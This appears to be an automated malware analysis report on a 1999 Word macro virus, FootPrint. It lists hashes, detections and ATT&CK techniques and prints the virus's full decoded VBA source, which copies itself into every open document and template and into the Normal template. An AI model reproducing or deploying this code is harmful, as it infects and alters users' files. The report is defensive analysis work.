Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe6ca7ef6f90b3e0…

MALICIOUS

Office (OLE)

28.5 KB Created: 1999-04-27 08:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 471efd11b41dba046bbe63e92a126aa7 SHA-1: cd4408553ee2f3161f7c50dffef88ff4780838e5 SHA-256: fe6ca7ef6f90b3e041b12df90cc9ac5feda6ee581fdd2c8d94883a68738ac312
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically triggering on Document_Open. The macro attempts to export its own code to 'c:\footprint.$$$' and then process it into 'c:\footprint.$$1'. This processed code is then added back into the document's VBProject, suggesting an attempt to modify or inject malicious code, potentially for persistence or to download further stages. The ClamAV detections 'Doc.Trojan.FootPrint-4' and 'Doc.Trojan.FootPrint-1' further support this malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1988 bytes
SHA-256: 45e5b28677e7ec8be5d594093f9cbe0531b26ed392476e26c4fb57ed6cee095d
Detection
ClamAV: Doc.Trojan.FootPrint-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub

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